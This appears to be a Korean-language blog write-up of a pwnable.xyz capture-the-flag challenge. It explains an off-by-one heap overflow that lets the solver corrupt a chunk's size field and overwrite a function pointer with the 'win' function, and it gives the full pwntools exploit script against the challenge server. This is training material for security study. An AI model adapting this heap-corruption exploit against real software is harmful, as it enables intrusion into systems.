# process
write_name() 함수에서 heap의 데이터 사이즈에 0x21이 들어가서 edit_name() 함수에서 edit 시 1바이트 overflow가 일어난다. (off by one)
이 취약점을 이용해서 해당 chunk의 사이즈 값을 변조해서 다음 청크의 func_ptr을 변조할 수 있다.
1. size 값 변조
2. func_ptr -> win
Name(0x20) size(0x8) func_ptr(0x8) 구조로 size를 늘려서 func_ptr를 win으로 덮었다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30023)
#gdb.attach(p)
elf = ELF("./challenge")
def write_name(name):
p.sendlineafter("> ", '1')
p.sendafter("name: ", name)
def edit_name(index, name):
p.sendlineafter("> ", '2')
p.sendafter("index: ", str(index))
p.sendafter("name: ", name)
def print_name(index):
p.sendlineafter("> ", '3')
p.sendafter("index: ", str(index))
write_name('A'*0x20)
edit_name(0, 'C'*0x20 + '\x30')
edit_name(0, 'D'*0x28 + p64(elf.symbols['win']))
print_name(0)
#gdb.attach(p)
p.interactive()
# exploit
[Pwnable.xyz] rwsr (0) | 2020.03.25 |
---|---|
[Pwnable.xyz] iape (0) | 2020.03.25 |
[pwnable.xyz] message (0) | 2020.02.28 |
[pwnable.xyz] badayum (0) | 2020.02.28 |
[pwnable.xyz] executioner (0) | 2020.02.28 |